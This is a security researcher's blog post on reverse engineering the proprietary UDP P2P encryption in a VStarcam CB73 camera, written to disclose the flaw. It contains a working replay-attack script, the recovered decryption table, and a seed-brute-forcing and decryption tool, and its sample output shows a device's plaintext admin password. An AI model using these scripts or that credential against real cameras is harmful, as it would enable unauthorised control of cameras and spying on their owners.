Skip to main content

Too Many Secrets: Proprietary Encryption Protocol Analysis in VStarcam CB73 Security Camera

Brown Fine Security
Author
Brown Fine Security
Hardware Security Researcher & Cyber Security Content Creator
Table of Contents

“Don’t roll your own crypto.”

This statement has been made many times by security professionals, but still engineers continue to ignore it. Engineers often believe that if a system’s design is kept secret it will be harder to attack. This false assumption is commonly called security through obscurity. Security through obscurity stands in contrast to Kerckhoffs’s principle which is the security design principle that cryptographic systems should be built with the assumption that your adversary knows its complete specification.

One day, after I found a Hardcoded Root Password in the Vstarcam CB73 security camera, I started trying to understand some interesting UDP network traffic that I was seeing between the Eye4 mobile application and the VStarcam CB73 device using Wireshark.

udp1
Wireshark display of UDP packet

I started digging around the device firmware to see what was responsible for the above UDP traffic. I ran the strings command on the encoder binary and searched for anything with the decrypt keyword.

$ strings encoder | grep -i decrypt
cs2p2p__P2P_Proprietary_Decrypt
_TCPRelay_Proprietary_Decrypt

The string cs2p2p__P2P_Proprietary_Decrypt immediately caught my attention. Remember what we said about not rolling ones own cryptography? Well the VStarcam engineers didn’t get the memo. Down the rabbit hole we go!

UDP P2P Network Protocol Analysis
#

First I still wanted to understand as much as I could from the UDP packets using Wireshark. As I looked at the network traffic generated by using the mobile application, I started to notice a handshake that began all communications between the mobile application and the device.

The mechanics of the UDP P2P protocol handshake are as follows:

STEP 1: The mobile application sends a 4 byte UDP packet to the broadcast address with a destination port of 32108

proto1
STEP 1: Mobile application -> broadcast address

STEP 2: The device responds to the mobile application with a 24 byte UDP packet with a random source port.

proto2
STEP 2: Device -> mobile application

STEP 3: The mobile application responds to the device with the same packet data as it received in STEP 2. This is a kind of Acknowledgement that is commonly seen in network protocols. The destination port used is the source port from STEP 2.

proto3
STEP 3: mobile application -> device

Summary of UDP P2P Protocol Handshake

Mobile App -> Broadcast  : e43b4322
    Device -> Mobile App : e44aa25ee1a5091bdb3640c777ab0aa9f1e3357970e07be1
Mobile App -> Device     : e44aa25ee1a5091bdb3640c777ab0aa9f1e3357970e07be1

After this point, both the mobile application and the device repeat a lot of the same packets, potentially as a keep alive mechanism. Then when the mobile application wants to make a request, larger packets are observed. Upon closer inspection of packets over time, I discovered that the UDP packet payloads that corresponded to certain actions in the mobile application were identical.

udp2
Multiple UDP packets with same payload sent to device

This was an immediate sign that this encryption protocol was EXTREMELY BROKEN.

Simple Replay Attack
#

The first attack I wanted to try after noticing repeating packet payloads was a replay attack. A replay attack assumes that an attacker can observe messages sent between a client and a server and then replay data it captured at a later time.

A good cryptographic protocol will not only encrypt data but it will also prevent previously sent messages from being sent again and successfully processed. Common solutions include adding an incrementing message ID to every message and rejecting messages with a message ID that is less than or equal to the last received message.

To replay the packets that I captured the following python script was used:

simple-replay.py

#!/usr/bin/env python3
import time
import socket

m1 = bytes.fromhex("e43b4322")
r1 = bytes.fromhex("e4db36cd03233b4323311396e95c73f8ac1224b8e01c355b652ba53ca9cef0ab5c14c29e7b8eb48f4772913b7ea9dff4ad599e7b8eb48f4777cef0b8fd58c64d2feb49aebc018d37c92907599e620d7d6647661e2fb3fbcef32551ffee69065d1884aadd80c29387a9cb9e73ded6e01e304fdd8d3d8c3e40f18c3670d06208a342ed0ea12fea54ea51fa7ac0d894256002")

client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client_socket.settimeout(3.0)
addr = ("192.168.200.21", 32108)

try:
    # HANDSHAKE STEP 1
    client_socket.sendto(m1, addr)
    print("SEND: "+m1.hex())
    # HANDSHAKE STEP 2
    data, server = client_socket.recvfrom(1024)
    print("RECV: "+data.hex())
    
    # HANDSHAKE STEP 3
    m2 = data
    client_socket.sendto(m2, server)
    print("SEND: "+m2.hex())
    data, server = client_socket.recvfrom(1024)
    print("RECV: "+data.hex())

    # SEND REQUEST
    client_socket.sendto(r1, server)
    print("SEND: "+r1.hex())
    data, server = client_socket.recvfrom(1024)
    print("RECV: "+data.hex())

except socket.timeout:
    print('REQUEST TIMED OUT')

When we run this code the following output appears in the UART console:

[D][2024/08/11/15:35:23][vstcp2p.c:440][P2pListenThread]
PPPP_Listen success handle: [0]
[D][2024/08/11/15:35:23][vstcp2p.c:365][P2pPushSocket]refback insert socket sit 1 socket 0
[D][2024/08/11/15:35:23][vstcp2pcmd.c:487][P2pCgiParamFunction]sit 1, pcmd : GET /get_status.cgi?loginuse=admin&loginpas=22hL01490M299pAd&user=admin&pwd=22hL01490M299pAd&userId=301968900&vuid=BD0227833JJIU&
[t 7290278]sit 1, pcmd : GET /get_status.cgi?loginuse=admin&loginpas=22hL01490M299pAd&user=admin&pwd=22hL01490M299pAd&userId=301968900&vuid=BD0227833JJIU&
[D][2024/08/11/15:35:23][web.c:535][GetUserPri_doubleVerify]pri[255] system OwnerPwd[22hL01490M299pAd] app Pwd[22hL01490M299pAd]
[D][2024/08/11/15:35:23][vstcp2pcmd.c:152][P2pGetAuth_doubleVerify]P2pGetAuth_doubleVerify iRet:255

This confirms that our replay attack succeeded. Also, we discovered that in some cases, decrypted UDP P2P protocol data gets printed to the UART console. This gives us a ton of insight already into the contents of these encrypted packets. The UDP P2P protocol seems to contain embedded HTTP requests.

Chosen-ciphertext Attack
#

Time for an extremely nerdy side quest. A method cryptanalysis exists called a chosen-ciphertext attack. This method of attacking cryptographic systems requires that an attacker have a way of sending encrypted messages to a system and also the ability to view the corresponding decrypted plaintext.

We observed above that we can replay captured UDP P2P messages and have part of the decrypted data displayed in the UART console. What happens if we change some of the data at the end of our encrypted payload? We will change the last 10 bytes of the replayed message to 0xAA and observe the result.

[D][2024/08/11/16:12:24][vstcp2pcmd.c:487][P2pCgiParamFunction]sit 1, pcmd : GET /get_status.cgi?loginuse=admin&loginpas=22hL01490M299pAd&user=admin&pwd=22hL01490M299pAd&userId=301968900&vuid=BD02rNNNNNNNNN

Notice all the “N” characters at the end. Note that we see the 10 0xAA bytes turned into rNNNNNNNNN. This tells us a lot about how the encryption is being done. We can conclude we are dealing with a sort of stream cipher, that encrypts and decrypts data one byte at a time, as opposed to a block cipher that encrypted and decrypts data taken as groups (blocks) of multiple bytes at a time. We can also observe that there is some kind of inter-byte relationship in the decrypted data. With a bit of experimentation I determined that changing one byte will affect the decryption of that byte and the byte after it. Put another way, the decryption of a byte is a function of the byte itself and the previously encrypted byte.

If this all is confusing it will hopefully make more sense later…

Binary Reverse Engineering
#

To get a better idea of what’s going on with the UDP P2P protocol we are going to use Ghidra to reverse engineering the cs2p2p__P2P_Proprietary_Decrypt function we discovered earlier within the encoder binary.

We first use the Symbol Tree window within Ghidra to search for the cs2p2p__P2P_Proprietary_Decrypt function.

ghidra1
searching for the cs2p2p__P2P_Proprietary_Decrypt function in Ghidra

After clicking on the cs2p2p__P2P_Proprietary_Decrypt function reference, the main window navigates to the proper location.

ghidra2
cs2p2p__P2P_Proprietary_Decrypt function decompilation

After some variable renaming, we arrive at the following decompilation for the cs2p2p__P2P_Proprietary_Decrypt function and the supporting __P2P_Proprietary_SelectTableElement function.

cs2p2p__P2P_Proprietary_Decrypt function:

void cs2p2p__P2P_Proprietary_Decrypt(char *somestring,byte *ENCRYPTED_BUFFER,byte *DECRYPTED_BUFFER,uint SIZE)
{
    undefined4 uVar1;
    byte KEYBYTE;
    size_t sVar2;
    char cVar3;
    uint uVar4;
    byte *DECRYPTED_BUFFER_PTR;
    undefined4 SEED;
    byte ENCRYPTED_BUFFER_PTR;
    
    SEED = 0;
    if ((somestring != (char *)0x0) && (*somestring != '\0'))
    {
        for (uVar4 = 0; (sVar2 = strlen(somestring), uVar1 = SEED, uVar4 < sVar2 && (uVar4 != 0x15)); uVar4 = uVar4 + 1) {
            ENCRYPTED_BUFFER_PTR = somestring[uVar4];
            cVar3 = ENCRYPTED_BUFFER_PTR + (char)SEED;
            SEED._1_1_ = SEED._1_1_ - ENCRYPTED_BUFFER_PTR;
            SEED._2_1_ = SUB41(uVar1,2);
            SEED._2_1_ = ENCRYPTED_BUFFER_PTR / 3 + SEED._2_1_;
            SEED._3_1_ = SUB41(uVar1,3);
            SEED = CONCAT13(ENCRYPTED_BUFFER_PTR ^ SEED._3_1_,
            CONCAT12(SEED._2_1_,CONCAT11(SEED._1_1_,cVar3)));
        }
        ENCRYPTED_BUFFER_PTR = *ENCRYPTED_BUFFER;
        KEYBYTE = __P2P_Proprietary_SelectTableElement(&SEED,0);
        *DECRYPTED_BUFFER = KEYBYTE ^ ENCRYPTED_BUFFER_PTR;
        ENCRYPTED_BUFFER = ENCRYPTED_BUFFER + 1;
        DECRYPTED_BUFFER_PTR = DECRYPTED_BUFFER;
        while (DECRYPTED_BUFFER_PTR = DECRYPTED_BUFFER_PTR + 1,((int)DECRYPTED_BUFFER_PTR - (int)DECRYPTED_BUFFER & 0xffffU) < (SIZE & 0xffff))
        {
            ENCRYPTED_BUFFER_PTR = *ENCRYPTED_BUFFER;
            KEYBYTE = __P2P_Proprietary_SelectTableElement(&SEED,ENCRYPTED_BUFFER[-1]);
            ENCRYPTED_BUFFER = ENCRYPTED_BUFFER + 1;
            *DECRYPTED_BUFFER_PTR = KEYBYTE ^ ENCRYPTED_BUFFER_PTR;
        }
        return;
    }
    memcpy(DECRYPTED_BUFFER,ENCRYPTED_BUFFER,SIZE & 0xffff);
    return;
}

__P2P_Proprietary_SelectTableElement function:

undefined __P2P_Proprietary_SelectTableElement(int SEED,uint PREV_BYTE)
{
    return g__P2P_PE_Table[(PREV_BYTE & 0xff) + (uint)*(byte *)(SEED + (PREV_BYTE & 3)) & 0xff];
}

The g__P2P_PE_Table array consists of the following data:

{ 0x7c, 0x9c, 0xe8, 0x4a, 0x13, 0xde, 0xdc, 0xb2, 0x2f, 0x21, 0x23, 0xe4, 0x30, 0x7b, 0x3d, 0x8c, 0xbc, 0x0b, 0x27, 0x0c, 0x3c, 0xf7, 0x9a, 0xe7, 0x08, 0x71, 0x96, 0x00, 0x97, 0x85, 0xef, 0xc1, 0x1f, 0xc4, 0xdb, 0xa1, 0xc2, 0xeb, 0xd9, 0x01, 0xfa, 0xba, 0x3b, 0x05, 0xb8, 0x15, 0x87, 0x83, 0x28, 0x72, 0xd1, 0x8b, 0x5a, 0xd6, 0xda, 0x93, 0x58, 0xfe, 0xaa, 0xcc, 0x6e, 0x1b, 0xf0, 0xa3, 0x88, 0xab, 0x43, 0xc0, 0x0d, 0xb5, 0x45, 0x38, 0x4f, 0x50, 0x22, 0x66, 0x20, 0x7f, 0x07, 0x5b, 0x14, 0x98, 0x1d, 0x9b, 0xa7, 0x2a, 0xb9, 0xa8, 0xcb, 0xf1, 0xfc, 0x49, 0x47, 0x06, 0x3e, 0xb1, 0x0e, 0x04, 0x3a, 0x94, 0x5e, 0xee, 0x54, 0x11, 0x34, 0xdd, 0x4d, 0xf9, 0xec, 0xc7, 0xc9, 0xe3, 0x78, 0x1a, 0x6f, 0x70, 0x6b, 0xa4, 0xbd, 0xa9, 0x5d, 0xd5, 0xf8, 0xe5, 0xbb, 0x26, 0xaf, 0x42, 0x37, 0xd8, 0xe1, 0x02, 0x0a, 0xae, 0x5f, 0x1c, 0xc5, 0x73, 0x09, 0x4e, 0x69, 0x24, 0x90, 0x6d, 0x12, 0xb3, 0x19, 0xad, 0x74, 0x8a, 0x29, 0x40, 0xf5, 0x2d, 0xbe, 0xa5, 0x59, 0xe0, 0xf4, 0x79, 0xd2, 0x4b, 0xce, 0x89, 0x82, 0x48, 0x84, 0x25, 0xc6, 0x91, 0x2b, 0xa2, 0xfb, 0x8f, 0xe9, 0xa6, 0xb0, 0x9e, 0x3f, 0x65, 0xf6, 0x03, 0x31, 0x2e, 0xac, 0x0f, 0x95, 0x2c, 0x5c, 0xed, 0x39, 0xb7, 0x33, 0x6c, 0x56, 0x7e, 0xb4, 0xa0, 0xfd, 0x7a, 0x81, 0x53, 0x51, 0x86, 0x8d, 0x9f, 0x77, 0xff, 0x6a, 0x80, 0xdf, 0xe2, 0xbf, 0x10, 0xd7, 0x75, 0x64, 0x57, 0x76, 0xf3, 0x55, 0xcd, 0xd0, 0xc8, 0x18, 0xe6, 0x36, 0x41, 0x62, 0xcf, 0x99, 0xf2, 0x32, 0x4c, 0x67, 0x60, 0x61, 0x92, 0xca, 0xd3, 0xea, 0x63, 0x7d, 0x16, 0xb6, 0x8e, 0xd4, 0x68, 0x35, 0xc3, 0x52, 0x9d, 0x46, 0x44, 0x1e, 0x17 }

There are some things about the above code that I understand and some things that are still a mystery. Let’s start with what I understand.

The __P2P_Proprietary_SelectTableElement function takes in two integers and outputs a byte from a table of 256 byte values. I’ve labeled these two inputs as SEED and PREV_BYTE. The PREV_BYTE variable is clearly the previous encrypted byte. The SEED variable is something that affects which byte value is returned. An XOR operator is then performed on the returned byte and the encrypted byte to get the decrypted byte.

Complete Decryption
#

Understanding how this seed gets computed from Ghidra drove me mad. It didn’t make any sense with what I was seeing in my active analysis of sending encrypted data and seeing the decrypted result in the UART console. What I did learn is that there is a one to one relationship between the previous byte and the seed. Knowing that there can only be 256 seed values and that I have lots of corresponding encrypted and decrypted data. I wrote a python script that would take known ciphertext and plaintext and determine the seed values and store them in a database for decrypting other encrypted messages.

generate-byte-seeds-v1.py

#!/usr/bin/env python3
import pickle

def getdb():
    try:
        with open('seedmap.pkl', 'rb') as f:
            return pickle.load(f)
    except:
        pass
    return {}

def putdb(db):
    with open('seedmap.pkl', 'wb') as f:
        pickle.dump(db, f)

# lookup table reversed from encoder binary
table = b'\x7c\x9c\xe8\x4a\x13\xde\xdc\xb2\x2f\x21\x23\xe4\x30\x7b\x3d\x8c\xbc\x0b\x27\x0c\x3c\xf7\x9a\xe7\x08\x71\x96\x00\x97\x85\xef\xc1\x1f\xc4\xdb\xa1\xc2\xeb\xd9\x01\xfa\xba\x3b\x05\xb8\x15\x87\x83\x28\x72\xd1\x8b\x5a\xd6\xda\x93\x58\xfe\xaa\xcc\x6e\x1b\xf0\xa3\x88\xab\x43\xc0\x0d\xb5\x45\x38\x4f\x50\x22\x66\x20\x7f\x07\x5b\x14\x98\x1d\x9b\xa7\x2a\xb9\xa8\xcb\xf1\xfc\x49\x47\x06\x3e\xb1\x0e\x04\x3a\x94\x5e\xee\x54\x11\x34\xdd\x4d\xf9\xec\xc7\xc9\xe3\x78\x1a\x6f\x70\x6b\xa4\xbd\xa9\x5d\xd5\xf8\xe5\xbb\x26\xaf\x42\x37\xd8\xe1\x02\x0a\xae\x5f\x1c\xc5\x73\x09\x4e\x69\x24\x90\x6d\x12\xb3\x19\xad\x74\x8a\x29\x40\xf5\x2d\xbe\xa5\x59\xe0\xf4\x79\xd2\x4b\xce\x89\x82\x48\x84\x25\xc6\x91\x2b\xa2\xfb\x8f\xe9\xa6\xb0\x9e\x3f\x65\xf6\x03\x31\x2e\xac\x0f\x95\x2c\x5c\xed\x39\xb7\x33\x6c\x56\x7e\xb4\xa0\xfd\x7a\x81\x53\x51\x86\x8d\x9f\x77\xff\x6a\x80\xdf\xe2\xbf\x10\xd7\x75\x64\x57\x76\xf3\x55\xcd\xd0\xc8\x18\xe6\x36\x41\x62\xcf\x99\xf2\x32\x4c\x67\x60\x61\x92\xca\xd3\xea\x63\x7d\x16\xb6\x8e\xd4\x68\x35\xc3\x52\x9d\x46\x44\x1e\x17'
def get_lookup(seed,prev):
    i = (prev & 0xff) + (seed + (prev & 3)) & 0xff
    return table[i]

brutelist = []
target = "GET /get_status.cgi?loginuse=admin&loginpas=22hL01490M299pAd&user=admin&pwd=22hL01490M299pAd&userId=301968900&vuid=BD0227833JJIU&"
data = bytes.fromhex("e4db36cd03233b4323311396e95c73f8ac1224b8e01c355b652ba53ca9cef0ab5c14c29e7b8eb48f4772913b7ea9dff4ad599e7b8eb48f4777cef0b8fd58c64d2feb49aebc018d37c92907599e620d7d6647661e2fb3fbcef32551ffee69065d1884aadd80c29387a9cb9e73ded6e01e304fdd8d3d8c3e40f18c3670d06208a342ed0ea12fea54ea51fa7ac0d894256002")
brutelist.append((target,data))

db = getdb()
for target, data in brutelist:

    before_size = len(db)
    data = data[-len(target):]
    i = 1
    s = ''
    while i < len(data):
        prev = data[i-1]
        seed = 0
        while seed < 256:
            element = get_lookup(seed,prev)
            plain = element ^ data[i]
            if chr(plain) == target[i]:
                s += chr(plain)
                db[prev] = seed
            seed += 1
        i += 1
    putdb(db)
    after_size = len(db)
    print("new byte seeds found: "+str(after_size - before_size))
    print("total seeds in DB: "+str(after_size))

The output we get is as follows:

new byte seeds found: 99
total seeds in DB: 99

So that one message allowed us to determine 99 out of 256 byte seed values. Now let’s use this seed database to attempt to decrypt another message. To do this, we will use the following decrypt.py program.

decrypt.py

#!/usr/bin/env python3
import pickle 
import sys

def getdb():
    try:
        with open('seedmap.pkl', 'rb') as f:
            return pickle.load(f)
    except:
        pass
    return {}

def putdb(db):
    with open('seedmap.pkl', 'wb') as f:
        pickle.dump(db, f)


table = b'\x7c\x9c\xe8\x4a\x13\xde\xdc\xb2\x2f\x21\x23\xe4\x30\x7b\x3d\x8c\xbc\x0b\x27\x0c\x3c\xf7\x9a\xe7\x08\x71\x96\x00\x97\x85\xef\xc1\x1f\xc4\xdb\xa1\xc2\xeb\xd9\x01\xfa\xba\x3b\x05\xb8\x15\x87\x83\x28\x72\xd1\x8b\x5a\xd6\xda\x93\x58\xfe\xaa\xcc\x6e\x1b\xf0\xa3\x88\xab\x43\xc0\x0d\xb5\x45\x38\x4f\x50\x22\x66\x20\x7f\x07\x5b\x14\x98\x1d\x9b\xa7\x2a\xb9\xa8\xcb\xf1\xfc\x49\x47\x06\x3e\xb1\x0e\x04\x3a\x94\x5e\xee\x54\x11\x34\xdd\x4d\xf9\xec\xc7\xc9\xe3\x78\x1a\x6f\x70\x6b\xa4\xbd\xa9\x5d\xd5\xf8\xe5\xbb\x26\xaf\x42\x37\xd8\xe1\x02\x0a\xae\x5f\x1c\xc5\x73\x09\x4e\x69\x24\x90\x6d\x12\xb3\x19\xad\x74\x8a\x29\x40\xf5\x2d\xbe\xa5\x59\xe0\xf4\x79\xd2\x4b\xce\x89\x82\x48\x84\x25\xc6\x91\x2b\xa2\xfb\x8f\xe9\xa6\xb0\x9e\x3f\x65\xf6\x03\x31\x2e\xac\x0f\x95\x2c\x5c\xed\x39\xb7\x33\x6c\x56\x7e\xb4\xa0\xfd\x7a\x81\x53\x51\x86\x8d\x9f\x77\xff\x6a\x80\xdf\xe2\xbf\x10\xd7\x75\x64\x57\x76\xf3\x55\xcd\xd0\xc8\x18\xe6\x36\x41\x62\xcf\x99\xf2\x32\x4c\x67\x60\x61\x92\xca\xd3\xea\x63\x7d\x16\xb6\x8e\xd4\x68\x35\xc3\x52\x9d\x46\x44\x1e\x17'

def get_lookup(seed,prev):
    i = (prev & 0xff) + (seed + (prev & 3)) & 0xff
    return table[i]

db = getdb()

data = bytes.fromhex(sys.argv[1])

i = 0
plaintext = bytes()
while i < len(data):
    if i == 0:
        prev = 0
    else:
        prev = data[i-1]
    if prev in db:
        seed = db[prev]
        element = get_lookup(seed,prev)
        plain = element ^ data[i]
    else:
        plain = b'_'[0]
    plaintext += bytes([plain])
    i += 1
#print(plaintext)
sys.stdout.buffer.write(plaintext)

We will use this program to decrypt a different message:

$ python3 decrypt.py e4db346cfcba001deb77af3164b3953443679d5881c33467a6d6f6da93dddff76af4ab53d2e89084a108b9041fb8a10fa7db01998367ac24ec14db0b17c93540a0f6c674388b24f9e9317a9d5edb59dff0eb0d7953c1461787dc1153c8b7091887a98231520199999fe184a34ac66c44746df89c37cde049ff90dd819387a0d2b9501fa9fa2d5a2d76754fce830955bd576aa69d1c354cba64d6e1a9d8b164c7050b4b33c93e1024fb87fd075c1d8eee695718daa22fa9cfb27cac67efb8a0f8822faf42ec4cb4822c98cea5317cf6c11a9555897ac1464d53ccf2af08e6757d2d45780931355a5f316167a874267521909d0ffe8c3d8ebb1ad5f72a779fc96b56179fc59178499d7848cdd28b192659ec51ed5f3dca60574ad021d7bd3cbea6db092668f88eb26133cebef0b3b3f9e2a780e1837a96559baa892e030508b90e8a0e93dfea5b08e463018f18819e27ca37c9605499882540b4837bdc40a3464cbb70909af9b0ffee33e608e7fe8833e7f8d2b27cd02059b9634d1fb8cfd7d003662e4d307521d7a0ec190e97daaf564738c8fcdfea5b0b01d319067826691d8f14ca6137998267a532ca6c435204018273ca6dc453cde6018f64819e2e1dab5b1c254640b5f88a041fb0a30d68fd0ede916c45442a7f6b561e0fa8297f2f9baae5a6b20c7af352651f9c071dc581d5a787e3388d6329191204007cffbb782bb68eec121d8eee695e87a14d7cfedc4cb48867f4f4e2ad565c1888329fb70d2d4a950cc751aee3007cffa9c8eb40a6d6fed8b0eb110d7f362e1d8b6abb6481cf9bfe80bb6f8d4310223b33eb194772913b312e0c9af0ec1fffac201be60acbb7757f6ecbe6089bfc8330763460
_________
________/_____e__con__ol____?co___nd___&___st_p___log__u___a___n___ginpa_____L______299___&____=a_m______=_2hL_1_90_____Ad_____w________ec___r_co_______gi_comman_=29_o__st___0__o___u_e__d___&l________2__L____0__9_____u______________22h_____0_2_____&_
________T_/l_v_s__e___c_______a___=_6&l___n__e___m____o_i_pas=22__014_0__99pA__use_=_dm___p____2h__1_________d______G_T_/s______t____?___s=1_l__i__s_=a__i___o______=_2______0M__9__d&us_r______&p_d=22_______M__9_A______G__ _____s__m___t___g__g_?_m_=20_1&c____n__0&_a_k=____5_____lo___us_=a_m_n_l_g_n__________4__M___p_d_user____i__pw____h____9_M___p__

So we are clearly able to decrypt parts of this new encrypted message! After adding some more known ciphertext and plaintext messages I was able to find all 256 byte seed values:

$ ./generate-byte-seeds.py 
new byte seeds found: 0
total seeds in DB: 99
new byte seeds found: 72
total seeds in DB: 171
new byte seeds found: 49
total seeds in DB: 220
new byte seeds found: 14
total seeds in DB: 234
new byte seeds found: 6
total seeds in DB: 240
new byte seeds found: 10
total seeds in DB: 250
new byte seeds found: 3
total seeds in DB: 253
new byte seeds found: 1
total seeds in DB: 254
new byte seeds found: 1
total seeds in DB: 255
new byte seeds found: 1
total seeds in DB: 256

Then I was able to decrypt the entire message!

$ ./decrypt.py e4db346cfcba001deb77af3164b3953443679d5881c33467a6d6f6da93dddff76af4ab53d2e89084a108b9041fb8a10fa7db01998367ac24ec14db0b17c93540a0f6c674388b24f9e9317a9d5edb59dff0eb0d7953c1461787dc1153c8b7091887a98231520199999fe184a34ac66c44746df89c37cde049ff90dd819387a0d2b9501fa9fa2d5a2d76754fce830955bd576aa69d1c354cba64d6e1a9d8b164c7050b4b33c93e1024fb87fd075c1d8eee695718daa22fa9cfb27cac67efb8a0f8822faf42ec4cb4822c98cea5317cf6c11a9555897ac1464d53ccf2af08e6757d2d45780931355a5f316167a874267521909d0ffe8c3d8ebb1ad5f72a779fc96b56179fc59178499d7848cdd28b192659ec51ed5f3dca60574ad021d7bd3cbea6db092668f88eb26133cebef0b3b3f9e2a780e1837a96559baa892e030508b90e8a0e93dfea5b08e463018f18819e27ca37c9605499882540b4837bdc40a3464cbb70909af9b0ffee33e608e7fe8833e7f8d2b27cd02059b9634d1fb8cfd7d003662e4d307521d7a0ec190e97daaf564738c8fcdfea5b0b01d319067826691d8f14ca6137998267a532ca6c435204018273ca6dc453cde6018f64819e2e1dab5b1c254640b5f88a041fb0a30d68fd0ede916c45442a7f6b561e0fa8297f2f9baae5a6b20c7af352651f9c071dc581d5a787e3388d6329191204007cffbb782bb68eec121d8eee695e87a14d7cfedc4cb48867f4f4e2ad565c1888329fb70d2d4a950cc751aee3007cffa9c8eb40a6d6fed8b0eb110d7f362e1d8b6abb6481cf9bfe80bb6f8d4310223b33eb194772913b312e0c9af0ec1fffac201be60acbb7757f6ecbe6089bfc8330763460 | strings 
GET /decoder_control.cgi?command=27&onestep=0&loginuse=admin&loginpas=22hL01490M299pAd&user=admin&pwd=22hL01490M299pAd&
GET /decoder_control.cgi?command=29&onestep=0&loginuse=admin&loginpas=22hL01490M299pAd&user=admin&pwd=22hL01490M299pAd&
GET /livestream.cgi?streamid=16&loginuse=admin&loginpas=22hL01490M299pAd&user=admin&pwd=22hL01490M299pAd&
GET /snapshot.cgi?&res=1&loginuse=admin&loginpas=22hL01490M299pAd&user=admin&pwd=22hL01490M299pAd
GET /trans_cmd_string.cgi?cmd=2001&command=0&mark=123456789&loginuse=admin&loginpas=22hL01490M299pAd&user=admin&pwd=22hL01490M299pAd

Takeaways
#

Once again, a proprietary protocol in an IoT device bites the dust. I personally learned a lot from this project after struggling in Ghidra for a long time trying to fully understand the decryption function. One personal takeaway I have is to not put all my eggs in the static analysis basket. The discovery of the chosen-ciphertext attack vector was a breakthrough moment that allowed me to overcome shortcomings in static code reverse engineering. There are often more than one way to victory in reverse engineering.

I wrapped this whole cryptanalyst project into a GitHub repo that can be found below. Check it out!

BrownFineSecurity/vstarcam-p2p-decrypt

VStarcam P2P Decryption Utility

null
3
0

Need an IoT Pentest or other IoT consulting services? Check out all of the IoT Security Services we offer at Brown Fine Security.